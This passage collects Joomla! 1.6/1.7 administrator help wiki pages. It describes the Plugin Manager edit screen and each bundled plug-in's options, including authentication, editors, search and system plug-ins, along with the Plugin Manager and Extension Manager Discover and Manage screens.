*'''Description.''' The description of what this Plug-in does. This cannot be changed. The developer of the plug-in specifies this. This may be blank if the developer did not specify a description for the plug-in.

==Options==
If the plug-in has configurable options they will appear to the right of the details section. Usually you will see ''Basic Options'' which are general options which need to be configured for the basic operation of the plug-in. You may also see ''Advanced Options'' which are additional configurable options available for the plug-in which allows further customization of the plug-in. Finally you may see ''Language Options'' which are options related to the language functions of your Joomla! installation.

==Toolbar==
At the top right you will see the toolbar:

[[Image:Help16-plugin_manager-edit-toolbar.png]]
* '''Save.''' Save it and return to editing the plug-in details.
* '''Save & Close.''' Save it and return to the previous screen. If you have been working on a screen for a long time and don't want to risk losing your work, pressing ''Save & Close'' saves your work and lets you continue working. If, for example, you lost your Internet connection, your work will be saved up to this point.
* '''Close.''' Return to the previous screen without saving your work. If you press ''Close'' while adding a new item, this new item will not be created. If you were modifying an existing item, the modifications will not be saved.
* '''Help.''' Opens this Help Screen.

==Plug-in Descriptions and Options==
When Joomla! is installed, many plug-ins are included in the installation. These are described below, along with any options for the plug-in.

===Authentication - Joomla===
This plug-in processes the default User Authentication method in Joomla!. It has no options.

===Authentication - GMail===
This plug-in processes User Authentication using GMail accounts. It has the following options:

[[Image:help16-plugin_manager-edit-gmail-options-screen.png]]
* '''Apply Username Suffix.''' This options allows you to automatically apply a suffix to the username a person enters when they log into your Joomla! installation. The suffix is the portion of the email address after the ''@'' symbol.
* '''Username Suffix.''' This is the suffix portion of the GMail email addresses which will be used to log into your site. This is the portion of the mail address after the ''@'' symbol. Usually you will set this to ''gmail.com'' for regular GMail accounts. This option is present to allow you to use other GMail accounts that don't end in the typical ''gmail.com'' suffix. This would be the case with Google Apps for Domains email accounts.
* '''Verify Peer.''' When your Joomla! installation attempts to verify the entered Gmail username it does so over an SSL connection. This option configures whether or not your Joomla! installation will check to ensure the CA certificate of the SSL connection is valid before proceeding with verification of the entered username/password. In some situations certificate verification fails in which case you can try setting this option to ''No'' to try to fix this.
* '''User Blacklist.''' A comma separated list of usernames not allowed to log into your Joomla! installation.

'''To use the GMail plug-in:'''
* Create a Joomla! user account with the same username as a GMail account user. For example if the GMail email address of the person you want to add is bob1234@gmail.com you would create the Joomla! user account with the username ''bob1234''.
* Enable the GMail Plug-in.
* Logout of Joomla!.
* Login using the GMail username (without "@gmail.com") and the GMail password.

===Authentication - LDAP===
This plug-in processes User Authentication against an LDAP server. It has the following options:

[[Image:help16-plugin_manager-edit-ldap-options-screen.png]]
*'''Host.''' The host URL. For example, "openldap.mycompany.org".
*'''Port.''' The port number. The default is 389.
*'''LDAP V3.''' Whether or not this host uses LDAP version 3. The default is LDAP v2.
*'''Negotiate TLS.''' Whether or not to use TLS encryption with this host. If set to "Yes", all traffic to and from this server must be encrypted.
*'''Follow Referrals.''' Whether to set the LDAP_OPT_REFERRALS flag to Yes or No. For Windows 2003 hosts this must be set to No.
*'''Authorization Method.''' "Bind Directly as User" or "Bind and Search".
*'''Base DN.''' The Base DN of your LDAP server.
*'''Search String.''' A query string used to search for a given User. The [search] keyword is replaced by the login typed by the User. For example: "uid=[search]". More than one Search String can be entered. Separate each by a semi-colon ";" character. This is only used when searching.
*'''User's DN.''' The [username] keyword is dynamically replaced by the username typed by the User. An example string is: "uid=[username], dc=[my-domain], dc=[com]". More than one string can be entered. Separate each with a semi-colon ";" character. This is only used if the Authorization Method above is set to "Bind Directly as User".
*'''Connect Username and Connect Password.''' These define connection parameters for the DN lookup phase. For anonymous lookup, leave both of these fields blank. For an Administrative Connection, the "Connect Username" is the username of an administrative account (for example, "Administrator"). In this case, the "Connect password" is the actual password to this administrative account.
*'''Map: Full Name.''' The LDAP attribute that contains the User's full name.
*'''Map: E-mail.''' The LDAP attribute that contains the User's e-mail address.
*'''Map: User ID.''' The LDAP attribute that contains the User's login ID. For Active Directory, this is "sAMAccountName".

===Authentication - OpenID===
This Plugin processes user authentication with an OpenID. It has the following options:

[[Image:help16-plugin_manager-edit-openid-options-screen.png]]
* '''Convert Old Usernames.''' Convert old usernames to the proper OpenID format. Set this to ''Yes'' if you upgraded your Joomla! installation from one that was already using OpenID authentication.
* '''Require Policy phishing-resistant.''' Requires the OpenID Provider to be configured with the OpenID Provider Authentication Policy Extension ''Phishing-Resistant Authentication'' policy.
* '''Require Policy multi-factor.''' Requires the OpenID Provider to be configured with the OpenID Provider Authentication Policy Extension ''Multi-Factor Authentication'' policy.
* '''Require Policy multi-factor-physical.''' Requires the OpenID Provider to be configured with the OpenID Provider Authentication Policy Extension ''Physical Multi-Factor Authentication'' policy.

===Content - Email Cloaking===
This plug-in cloaks all e-mails in content from spambots using JavaScript. This helps prevent e-mails contained in articles from being added to spam e-mail lists. You can disable Email Cloaking inside an article by inserting <code>{emailcloak=off}</code> anywhere in the text of the article. In this case, no e-mail addresses in the article will be cloaked by this plug-in.

Email Cloaking has the following options:

[[Image:help16-plugin_manager-edit-email_cloaking-options-screen.png]]
*'''Mode.''' How the e-mails will be displayed. Options are "As linkable mailto address" or as "Non-linkable text".

===Content - Code Highlighter (GeSHi)===
This plug-in displays formatted code in Articles based on the GeSHi highlighting engine. It has no options.
<pre>
Syntax usage :
<pre xml:lang="php">
echo $test;
</pre>
</pre>

===Content - Load Modules===
This plug-in allows you to place a Module inside an Article with the syntax: {loadposition xx}, where "xx" is a user-defined position code. For example, if you create a Module with the Position value of "myposition1", then typing the text "{loadposition myposition1}" inside an Article will cause that Module to show at that point in the Article.

This plug-in has the following option:

[[Image:help16-plugin_manager-edit-load_modules-options-screen.png]]
*'''Style.''' The Style for the loaded Module.

===Content - Pagebreak===
This plug-in adds table of contents functionality to a paginated Article. This is done automatically through the use of the Pagebreak button added to the lower part of the text panel in an Article. The HTML code is included here as a reference of what is available. The Pagebreak will itself display in the text window as a simple horizontal line.
<pre>
Syntax: Usage: <hr class="system-pagebreak" />
<hr class="system-pagebreak" title="The page title" /> or
<hr class="system-pagebreak" alt="The first page" /> or
<hr class="system-pagebreak" title="The page title" alt="The first page" /> or
<hr class="system-pagebreak" alt="The first page" title="The page title" />
</pre>
This plug-in has the following options:

[[Image:help16-plugin_manager-edit-pagebreak-options-screen.png]]
*'''Show Site Title.''' Whether or not the title and heading attributes from the plug-in will be added to the Site Title tag.
*'''Table of Contents.''' Whether to Hide or Show a table of contents for multi-page Articles.
*'''Show all.''' Whether or not to give Users the option to show all pages of an Article.

===Content - Page Navigation===
This plug-in allows you to add Next & Previous navigation links to Articles, for example when using a blog or list layout. This feature can be controlled with the following Joomla! parameters:
*"Show Navigation" in the [[Help16:Content_Article_Manager#Global_Configuration|Article Manager - Global Configuration]] screen
*"Show Navigation" in the Parameters - Component section of the [[Help16:Menus_Menu_Item_Manager_Edit#Parameters_-_Component_for_Articles|Menu Item Manager - New/Edit - Parameters - Component for Articles]] screen for Article layouts.
Note that, if the Page Navigation plug-in is disabled in this screen, no Page Navigation will show and the parameter settings above will have no effect.

This plug-in has the following option:

[[Image:help16-plugin_manager-edit-page_navigation-options-screen.png]]
*'''Position.''' Position of the navigation link. Options are "Above" the Article or "Below" the Article.

===Content - Vote===
This plug-in adds the Voting functionality to Articles. It has no options.

===Editor - CodeMirror===
This plug-in loads the CodeMirror editor. CodeMirror is a code editor which provides an editor more suited for source code. It provides code syntax highlighting for many programming languages. It can show you mismatched tags and also helps you maintain consistent indenting of your code. It has the following options:

[[Image:help16-plugin_manager-edit-codemirror-options-screen.png]]
* '''List numbers.''' Display line numbers in the editor.
* '''Tab mode.''' Causes tab to adjust the indentation of the selection or current line using the current parser's rules

===Editor - None===
This plug-in loads a basic text editor. This option can be used when you are pasting HTML code from another source and you don't want the HTML to be altered by a WYSIWYG editor. This plug-in has no options.

===Editor - TinyMCE===
This plug-in loads the TinyMCE editor. This is the default editor in Joomla!.

[[Image:Plugin.Tinymce_Output.png]]

This plug-in has the following options:

[[Image:help16-plugin_manager-edit-tinymce-basic-options-screen.png]]
*'''Functionality.''' Select "Advanced" or "Simple" functionality. With "Simple" selected, the User has only 9 toolbar buttons: Bold, Italic, Underline, Strikethrough, Undo, Re-do, Clean up messy code, Bullets, and Numbering. With "Advanced" selected, the User has all of the TinyMCE toolbar buttons. "Advanced" is the default setting.
*'''Skin.''' Choose the skin which will be applied to the TinyMCE editor when displayed in your website.
*'''Compressed version.''' Whether or not to use the compressed version of TinyMCE. Note that this does not work reliably with Windows IE, so "Off" is the recommended setting and is the default.
*'''Clean code on load.'' Whether or not to automatically clean up the HTML code when the editor first loads. Default value is "Off".
*'''Clean code on save.''' Whether to run HTML code cleanup when a file is saved. Options are "Never", "Front Only", and "Always". The default setting is "Always".
*'''Entity Encoding.'''
*'''Automatic Language Selection.''' Whether or not to match the selected UI language. Do not set to "Yes" unless the appropriate editor languages are installed. Default is "No".
*'''Language Code.''' Editor UI language code. This must be entered if Automatic Language Selection is "Off". Default is "en" for British English.
*'''Text Direction.''' Whether the language reads "Left to Right" or "Right to Left" (for example, like Arabic). Default is "Left to Right".
*'''Template CSS classes.''' Whether or not to load the "editor.css" file. If no such file is found for the default template, the "editor.css" file from the system template is used. Default is "Yes".
*'''Custom CSS Classes.''' Optional full URL path to a custom CSS file. If entered, this overrides the Template CSS classes setting.
*'''URLs.''' Whether to use Relative or Absolute URLs for links. The default is "Relative".
*'''New Lines.''' Whether to interpret new lines as "P Elements" or "BR Elements". Default is "P Elements".
*'''Prohibited Elements.''' The elements that will be cleaned from the text. Default is "applet", which will remove applet elements from the text.
*'''Extended Valid Elements.''' Optional list of valid HTML elements to add to the existing rule set.

This plug-in has the following advanced options:

[[Image:help16-plugin_manager-edit-tinymce-advanced-options-screen.png]]
*'''Toolbar.''' Whether to show the toolbar above or below the editor window.
*'''Toolbar align.'''
*'''HTML Height.''' The height, in pixels, of the HTML mode pop-up window.
*'''HTML Width.''' The width, in pixels, of the HTML mode pop-up window.
*'''Element Path.''' If set to "On", show the 'Set Classes' button for the marked text.

The following options only apply if the editor is in Extended Mode.

*'''Fonts.''' Hide or Show the 'Font' button.
*'''Paste.''' Hide or Show the 'Paste' button.
*'''Search-Replace.''' Hide or Show the 'Search and Replace' button.
*'''Insert Date.''' Hide or Show the 'Insert Date' button.
*'''Date Format.''' The Date format to use for Insert Date.
*'''Insert Time.''' Hide or Show the 'Insert Time' button.
*'''Time Format.''' The Time format to use for Insert Time.
*'''Colors.''' Hide or Show the 'Colors' control buttons.
*'''Table.''' Hide or Show the Table buttons.
*'''Smilies.''' Hide or Show the 'Smilies' button.
*'''Media.''' Hide or Show the 'Media' button.
*'''Horizontal Rule.''' Hide or Show the 'Horizontal Rule' button.
*'''Directionality.''' Hide or Show the 'Directionality' button.
*'''Fullscreen.''' Hide or Show the 'Fullscreen' button.
*'''Style.''' Hide or Show the 'CSS Style' button.
*'''Layer.''' Hide or Show the Layer buttons.
*'''XHTMLxtras.''' Hide or Show the additional XHTML features.
*'''Visualchars.''' Show invisible characters, specifically non-breaking spaces.
*'''Nonbreaking.''' Insert non-breaking space entities.
*'''Template.''' Hide or Show the 'Template' button.
*'''Blockquote.''' Turn on/off block quotes.
*'''Wordcount.''' Turn on/off word count.
*'''Advanced image.''' Turn on/off a more advanced image dialog box.
*'''Advanced link.''' Turn on/off a more advanced link dialog box.
*'''Advanced List.''' Turn on/off the ability to set number formats and bullet types in ordered and unordered lists.
*'''Save Warning.''' Whether or not to give a warning if the User cancels without saving the file. The default value is "Off".
*'''Context menu.''' Turn on/off the context menu.
*'''Inline popups.''' Turn on/off dialogs opening as floating DIV layers instead of popup windows. This option is useful to allow getting around popup blockers.
*'''Custom plugin.''' Add custom TinyMCE plug-ins to the editor by specifying them here.
*'''Custom button.''' Add custom TinyMCE buttons to the editor by specifying them here.

===Button - Article===
This plug-in displays the Article button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It allows you to insert an Article link into an Article. This plug-in has no options.

===Button - Image===
This plug-in displays the Image button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It allows you to insert an image into an Article. This plug-in has no options.

===Button - Pagebreak===
This plug-in displays the Pagebreak button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It inserts a page break in the Article. This plug-in has no options.

===Button - Readmore===
This plug-in displays the "Read more..." button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It inserts a "Read more..." break in the Article that allows you to display just the first portion of an Article on a page. This plug-in has no options.

===Extension - Joomla===
This plug-in manages the update sites for extensions. This plug-in has no options.

===Search - Categories===
This plug-in enables searching for Category information. It has the following options:

[[Image:help16-plugin_manager-edit-categories-options-screen.png]]
*'''Search Limit.''' The maximum number of search results to return after a search is done.
*'''Search Published.''' Whether or not to include published items in the search results.
*'''Search Archived.''' Whether or not to include archived items in the search results.

===Search - Contacts===
This plug-in enables searching for Contacts. It has the following options:

[[Image:help16-plugin_manager-edit-contacts-options-screen.png]]
*'''Search Limit.''' The maximum number of search results to return after a search is done.
*'''Search Published.''' Whether or not to include published items in the search results.
*'''Search Archived.''' Whether or not to include archived items in the search results.

===Search - Content===
This plug-in enables searching for Articles. It has the following options:

[[Image:help16-plugin_manager-edit-content-options-screen.png]]
*'''Search Limit.''' The maximum number of search results to return after a search is done.
*'''Articles.''' Whether or not to enable searching of all articles.
*'''Archived Articles.''' Whether or not to include archived articles in the search results.

===Search - Newsfeeds===
This plug-in enables searching for News Feeds. It has the following options:

[[Image:help16-plugin_manager-edit-newsfeeds-options-screen.png]]
*'''Search Limit.''' The maximum number of search results to return after a search is done.
*'''Search Published.''' Whether or not to include published items in the search results.
*'''Search Archived.''' Whether or not to include archived items in the search results.

===Search - Weblinks===
This plug-in enables searching for Web Links. It has the following options:

[[Image:help16-plugin_manager-edit-weblinks-options-screen.png]]
*'''Search Limit.''' The maximum number of search results to return after a search is done.
*'''Search Published.''' Whether or not to include published items in the search results.
*'''Search Archived.''' Whether or not to include archived items in the search results.

===System - Language Filter===
This plug-in filters the displayed content depending on language. It should only be enabled when the Language Switcher module is published. This plug-in has no options.

===System - Cache===
This plug-in enables page caching. Page caching allows the web server to save snapshots of pages and use them when serving web pages. This improves the performance of your web site and reduces the workload of the server. This plug-in has the following options:

[[Image:help16-plugin_manager-edit-cache-options-screen.png]]
*'''Use Browser Caching.''' Whether or not to use the mechanism for storing a page cache in the local browser. Default is "No".

===System - Debug===
This plug-in provides debugging information. The report is shown below the main screen of the front and backend interfaces of your Joomla! installation. It has the following options:

[[Image:help16-plugin_manager-edit-debug-options-screen.png]]
*'''Allowed Groups.''' User groups that will see the debug information when enabled.
*'''Show Profiling''' Whether or not to display the profiling waypoints information.
*'''Show Queries.''' Whether or not to include the SQL query log in the debug information.
*'''Show Memory Usage.''' Whether or not to include memory usage data in the debug information.

Language Debug Options:

[[Image:help16-plugin_manager-edit-debug-language-options-screen.png]]
*'''Show errors when parsing language files.''' Whether or not to display a list of language files with errors due to their not being in compliance with the Joomla! language file specification.
*'''Show Language Files.''' Whether or not to display the language files that have been loaded to generate the page.
*'''Show Language String.''' Whether or not to include undefined language strings in the debug information.
*'''Strip First Word.''' Whether or not to always strip the first word in multi-word strings.
*'''Strip From Start.''' Strips the specified words from the beginning of the language string. For multiple words separate each word with the pipe ( ''|'' ) character like so: word1|word2
*'''Strip From End.''' Strips the specified words from the end of the language string. For multiple words separate each word with the pipe ( ''|'' ) character like so: word1|word2

===System - Log===
This plug-in enables system logging. A log is a file that contains information about the web site activity. It can be used to see a history of activity and to troubleshoot problems on the site. This plug-in has no options.

===System - Redirect===
This plug-in enables the Joomla! Redirect system to catch missing pages and redirect users. This plug-in has no options.

===System - Remember Me===
This plug-in provides "Remember Me" functionality. This allows the website to "remember" your username and password so that you can automatically be logged in when you return to the site. This plug-in has no options.

===System - SEF===
This plug-in adds SEF support to links in the document. It operates directly on the HTML and does not require a special tag. This plug-in has no options.

===User - Profile===
This plug-in adds user profile capability to your website. Website users will be able to fill out profile fields that you enable in the options section of this plug-in. You can control what profile fields are shown in the new user registration form and/or each user's editable profile screen. To control what fields are shown in the new user registration form, set the field options in the section labeled ''User profile information required at registration''. For profile fields shown in the user's profile screen which it editable after login, set the field option in the options section labeled ''Required user profile information''. For each field you have the following options:
*'''Required.''' The field is visible in user profiles and users are required to fill it out.
*'''Optional.''' The field is visible in user profiles but is optional and users do not need to fill it out.
*'''Disabled.''' The field is disabled and not visible in user profiles.

[[Image:help16-plugin_manager-edit-profile-options-screen.png]]
* All fields are text fields with the exception of the ''Terms of Service'' field. The ''Terms of Service'' field is a radio button that the user can click on to signify their agreement with the website's terms of service.

===User - Contact Creator===
This plug-in automatically creates contact information for new users. It has the following options:

[[Image:help16-plugin_manager-edit-contact_creator-options-screen.png]]
*'''Automatic Webpage.''' A formatted string to automatically generate a contact's web page. [name] is replaced with the name, [username] is replaced with the username, [userid] is replaced with the user ID and [email] is replaced with the email.
*'''Category.''' Category to assign contacts to by default.
*'''Autopublish the contact.''' Optionally have the automatically created contact set to the published state and visible to your website visitors.

===User - Joomla!===
This plug-in handles the default user synchronization. It has the following options:

[[Image:help16-plugin_manager-edit-joomla-options-screen.png]]
*'''Auto-create Users.''' Whether or not to automatically create registered Joomla! users where possible. Default is "Yes".

==Quick Tips==
*If you are using the TinyMCE editor, you can control which options appear on the editor's toolbar by setting the parameters in the "Editor - TinyMCE" plug-in.
*Starting with Joomla! 1.6, configurable plug-in settings are referred to as 'options'. In previous versions of Joomla! these configurable settings were referred to as 'parameters'. You may see the terms 'options' and 'parameters' used interchangeably in help documentation and tutorials you encounter.

==Related Information==
*To install new Plug-in Extensions: [[Help16:Extensions_Extension_Manager_Install|Extension Manager - Install Screen]]
*To uninstall third-party Plug-ins: [[Help16:Extensions_Extension_Manager_Manage|Extension Manager - Manage]]

<noinclude>{{cathelp|1.6|Plugin Manager|Extensions}}</noinclude>

Help17:Extensions Plugin Manager

2011-06-27T00:40:02Z

Royce: /* Column Headers */ Minor grammar: can not -> cannot

==Overview==
The plug-in manager is accessed from the back-end Joomla! administrator panel. It is used to edit an installed plug-in's details and options.

==How to Access==
Select '''Extensions → Plug-in Manager''' from the drop-down menu of the '''''Joomla! Administrator Panel'''''.

==Description==
The Plug-in Manager allows you to enable and disable Joomla! plug-ins and to edit a plug-in's details and options. It is also useful for quickly enabling/disabling multiple plug-ins at once.

==Screenshot==
[[Image:help16-plugin_manager-screen.png]]

==Column Headers==
* '''Checkbox.''' Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items.
* '''Name.''' The name of the plug-in.
* '''Enabled.''' A green circle with a check mark or a red circle showing whether the use of the extension is enabled/disabled. Click the icon to toggle the item between enabled and disabled.
* '''Ordering.''' Ordering. The order to display items. If the list is sorted by this column, you can change the order by clicking the arrows or by entering the sequential order and clicking the 'Save Order' icon which looks like a little floppy disk. Note that the display order on a page is set in the 'Advanced Options' section for each menu item. If that order is set to use something other than 'Order' (for example, 'Title - Alphabetical'), then the order value in this screen will be ignored. If the menu item's order option is set to use 'Order', then the items will display on the page based on the order in this screen.
* '''Access.''' Which user 'access levels' have access to this item. You can change an item's Access Level by clicking on its name to open it up for editing. The default user 'access levels' which come preconfigured with Joomla! are:
** Public: Everyone has access including website visitors who have not logged in
** Registered: Only users with registered status or higher will have access
** Special: Only users with author status or higher have access
* '''Type.''' The Type of the plug-in. Some possible types are: authentication, content, editors, editors-xtd, search, system, and user. These are also the names of the website sub-directories where the plug-in files are located. For example, plug-ins with a type of 'authentication' are located in the website directory 'plugins/authentication'.
* '''Element.''' The plug-in directory name which contains the plug-in's files. This directory will be located in the directory which corresponds to its type. For example, the 'Authentication - Joomla' plug-in is of type 'Authentication' and element 'joomla'. So the website directory it is located in is 'plugins/authentication/joomla'
* '''ID.''' The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.
* '''Display #.''' The number of items to display on one page. Note that if you have a large number of items, it may be helpful to use the Filter options, located above the column headings, to limit which items display (where applicable).

==List Filters==
The list of plug-ins which appears on this screen may be very large. You can use one of the available filters or any combination of them to limit the number of plug-ins displayed to just the plug-ins which match your filter parameters.

'''Filter by Partial Name'''

You can filter the list of items by typing in all of part of its name. Or you can select a combination of Access Level, Enable/Disable State and Type.
* Filter. In the upper left corner just above the column headings is a Filter field and two buttons, as shown below:
[[Image:help16-plugin_manager-filter-name.png]]

If you have a large number of items on the list, you can use this filter to find the desired item(s) quickly. Enter either all or part of the name and press 'Search' to display the matching items. You can enter in whole words or part of a word. For example, 'ooml' will match all titles with the word 'Joomla!' in them.

'''Filter by Access, State and Type'''

In the upper right area, above the column headings, are 3 drop-down list boxes as shown below:

[[Image:help16-plugin_manager-filter-types.png]]

The selections may be combined. Only items matching all selections will display in the list.
* Select Access. Select the 'Access Level' from the drop-down list box to only show plug-ins accessible by uses of the selected 'Access Level'
* Select State. Select a state (Enabled or Disabled) from the drop-down list box to show only plug-ins with the selected state.
* Select Type. Select a Type from the drop-down list box to show only plug-ins of the selected Type.

==Toolbar==
At the top right you will see the toolbar:

[[Image:help16-plugin_manager-toolbar.png]]

*'''Edit.''' Select one item and click on this button to open it in edit mode. If you have more than one item selected (where applicable), the first item will be opened. You can also open an item for editing by clicking on its Name.
*'''Enable.''' To enable one or more items, select them using the Checkbox and press this button. You may also toggle between Enabled and Disabled by clicking on the icon in the 'Enabled' column.
*'''Disable.''' To disable one or more items, select them using the Checkbox and press this button. You may also toggle between Enabled and Disabled by clicking on the icon in the 'Enabled' column.
*'''Check In.'''
*'''Options.''' Opens the configuration window for the '''Plug-in Manager'''. In this window you can set '''Plug-in Manager''' access permissions for each user group specified in your Joomla! installation.
*'''Help.''' Opens this Help Screen.

==Quick Tips==
*To enable or disable a group of Plug-ins, check the check box for each desired Plug-in and then click the Enable or Disable toolbar button.
*Starting with Joomla! 1.6, configurable plug-in settings are referred to as 'options'. In previous versions of Joomla! these configurable settings were referred to as 'parameters'. You may see the terms 'options' and 'parameters' used interchangeably in help documentation and tutorials you encounter.

==Related Information==
*To change the Details or Options for a Plug-in: [[Help16:Extensions_Plugin_Manager_Edit|Plugin Manager - Edit]]
*To install Plug-ins: [[Help16:Extensions_Extension_Manager_Install|Extension Manager - Install]]
*To uninstall Plug-ins: [[Help16:Extensions_Extension_Manager_Manage|Extension Manager - Manage]]

<noinclude>{{cathelp|1.6|Plugin Manager|Extensions}}</noinclude>

Help17:Extensions Extension Manager Discover

2011-06-27T00:39:48Z

Royce: /* Column Headers */ Minor grammar: can not -> cannot

==Overview==
This screen is accessed from the back-end Joomla! administrator panel. It is used to discover and install extensions into your Joomla! installation. Some examples of extensions are plug-ins, components, and site templates.

==How to Access==
*Select '''Extensions → Extension Manager''' from the drop-down menu of the '''''Joomla! Administrator Panel'''''. Then select the '''Discover''' menu item in the '''''Extension manager''''' screen that appears.

==Description==
This screen allows you to discover extensions that have not gone through the normal installation process. This provides a method to install large extensions which are not possible to install using the normal process. For example, some extensions are too large in file size to upload using the web interface due to limitations of the web hosting environment. Using this feature you can upload extension files directly to your web server using some other means such as FTP or SFTP and place those extension files into the appropriate directory. You can then use the discover feature to find the newly uploaded extension and activate it in your Joomla! installation. Using the discover operation you can also discover and install multiple extensions at the same time.

==Screenshot==
[[Image:Help16-extension_manager-discover-screen.png]]

==Column Headers==
*'''Checkbox.''' Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items.
*'''Name.''' The name of the extension.
*'''Extension Type.''' The extension type - module, plug-in, template, language.
*'''Version.''' The version number of the Extension.
*'''Date.''' The date this extension was released.
*'''Folder.''' If the extension is a plug-in, the subdirectory of your Joomla! installation's /plugins directory where the extension is located. By default Joomla! 1.6 has the following subdirectories in the plugins directory which each represent the different types of plug-ins that are defined by default: authentication, content, editors, editors-xtd, extension, search, system, user.
*'''Client.''' Specifies if this is a site or administrator extension.
*'''Author.''' The author of this extension.
*'''ID.''' The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.

==Toolbar==
At the top right you will see the toolbar:

[[Image:Help16-extension_manager-discover-toolbar.png]]
*'''Install.''' Installs the selected extension.
*'''Discover.''' Searches the Joomla! installation directories for uninstalled extensions. Any uninstalled extensions found will be displayed in the extension listing. Caches the search results so they continue to be displayed on subsequent visits to this screen.
*'''Purge cache.''' Purges the cache of uninstalled extensions that were discovered. This will clear the listing of uninstalled extensions listed in this screen.
*'''Options.''' Opens the configuration window for the '''Extension Manager'''. In this window you can set '''Extension Manager''' access permissions for each user group specified in your Joomla! installation.
*'''Help.''' Opens this Help Screen.

'''Links to Other Screens'''

At the top left, you will see the following five links:

[[Image:Help16-extension_manager-discover-menu.png‎]]
*'''Install.''' Links to the [[Help16:Extensions_Extension_Manager_Install|Install Screen]].
*'''Update.''' Links to the [[Help16:Extensions_Extension_Manager_Update|Update Screen]].
*'''Manage.''' Links to the [[Help16:Extensions_Extension_Manager_Manage|Manage Screen]].
*'''Discover.''' Links to the [[Help16:Extensions_Extension_Manager_Discover|Discover Screen]].
*'''Warnings.''' Links to the [[Help16:Extensions_Extension_Manager_Warnings|Warnings Screen]].

==Outline==
An extension can be installed with the discover function by doing the following steps:
# Upload the uncompressed extension files to the appropriate directory in your Joomla! installation. For example, if you wanted to upload a site template extension to your Joomla! installation you would create a directory for the template extension in the /templates sub-directory of your Joomla! installation. Then you would upload the template extension files into that directory you created.
# After you have uploaded the extension files, go back to the Extension Manager Discover screen and click the '''Discover''' item in the toolbar. This will initiate the search function which will search your Joomla! extension directories looking for uninstalled extensions.
# If the extension you uploaded is compatible with Joomla! 1.6 and is not already installed, it will appear in the listing of discovered extensions in this screen.
# Click the check-box to the left of the discovered extension and then click the '''Install''' item in the toolbar. This will install the extension into your Joomla! installation.

==Quick Tips==
* If you have many extensions you want to install you can upload them all into the appropriate directories of your Joomla! installation and then use this screen to discover all of them in one operation. You can then install all of the extensions in one step by selecting all of them and pressing the '''Install''' item in the toolbar.

==Related Information==
*If you install a Component Extension, it will be listed as a new Menu Item in the ''Components'' menu.

*You can assign a Menu Item to an installed Component Extension in the [[Help16:Menus_Menu_Item_Manager|Menu Item Manager]] by clicking the ''New'' toolbar button. The new Component will show in the Internal Link list of Menu Item Types.

*If you install a Module Extension, it will be added to the list of the Modules in the [[Help16:Extensions_Module_Manager|Module Manager]], where you can enable/disable it. You can also customize it's parameters in the [[Help16:Extensions_Module_Manager_Edit|Module Edit]] screen.

*An installed Plugin Extension will be added to the list of the [[Help16:Extensions_Plugin_Manager|Plugin Manager]], where you can enable/disable it. You can also customize its parameters in the [[Help16:Extensions_Plugin_Manager_Edit|Plugin Edit]] screen.

*An installed Template Extension will be added to the Site or Administrator list of the [[Help16:Extensions_Template_Manager_Styles|Template Manager]] where you can assign it to all of the pages or to the selected ones. You can also customize its parameters, edit the HTML or CSS source, or preview the available Module positions.

*An installed Language Extension will be added to the Site or Administrator list of the [[Help16:Extensions_Language_Manager_Installed|Language Manager]], depending on the client attribute of the Extension. This screen let's you assign it as the default language, if desired.

<noinclude>{{cathelp|1.6|Extension Manager|Discover}}</noinclude>

Help17:Extensions Extension Manager Manage

2011-06-27T00:39:32Z

Royce: /* Column Headers */ Minor grammar: can not -> cannot

==Overview==
This screen is accessed from the back-end Joomla! administrator panel. It is used to enable/disable/uninstall extensions that are installed in your Joomla! installation. Some examples of extensions are plug-ins, components, and site templates.

==How to Access==
*Select '''Extensions → Extension Manager''' from the drop-down menu of the '''''Joomla! Administrator Panel'''''. Then select the '''Manage''' menu item in the '''''Extension manager''''' screen that appears.

==Description==
This screen allows you to Enable/Disable extensions. To Enable/Disable an extension is the same as to Publish/Unpublish it. In addition you can uninstall extensions from this screen as well.

==Screenshot==
[[Image:Help16-extension_manager-manage-screen.png]]

==Column Headers==
*'''Checkbox.''' Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items.
*'''Name.''' The name of the extension.
*'''Extension Type.''' The extension type. Some examples of extension types are module, plug-in, template, or language.
*'''Enabled.''' A green circle with a check mark or a red circle showing whether the use of the extension is enabled/disabled. Click the icon to toggle the item between enabled and disabled.
*'''Version.''' The version number of the Extension.
*'''Date.''' The date this extension was released.
*'''Folder.''' If the extension is a plug-in, the subdirectory of your Joomla! installation's /plugins directory where the extension is located. By default Joomla! 1.6 has the following subdirectories in the plugins directory which each represent the different types of plug-ins that are defined: authentication, content, editors, editors-xtd, extension, search, system, user.
*'''Client.''' Specifies if this is a site or administrator extension.
*'''Author.''' The author of this extension.
*'''Id.''' The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.
*'''Display #.''' The number of items to display on one page. Note that if you have a large number of items, it may be helpful to use the Filter options, located above the column headings, to limit which items display (where applicable).

==List Filters==
The list of extensions which appears on this screen may be very large. You can use one of the available filters or any combination of them to limit the number of extensions displayed to just the extensions which match your filter parameters.

'''Filter by Partial Name'''

[[Image:help16-extension_manager-manage-filter-name.png]]

If you have a large number of extensions in the list, you can use this filter to find the desired extension(s) quickly. Enter either all or part of the extension name and press 'Search' to display the matching extensions. For example, "joom" will match all extension names with the word "Joomla!" in them. This filter is not case-sensitive.

'''Hide Protected Extensions'''

[[Image:help16-extension_manager-manage-filter-protected.png]]

Check this checkbox to hide extensions which are protected.

'''Filter by Extension Type, Plug-in Folder, and Extension Client'''

[[Image:help16-extension_manager-manage-filter-types.png]]

* Select type. Select the extension type from the drop-down list box of available types.

* Select folder. Select a plug-in folder from the drop-down list box of available folders. There is a separate folder for each type of plug-in defined in your installation of Joomla!.

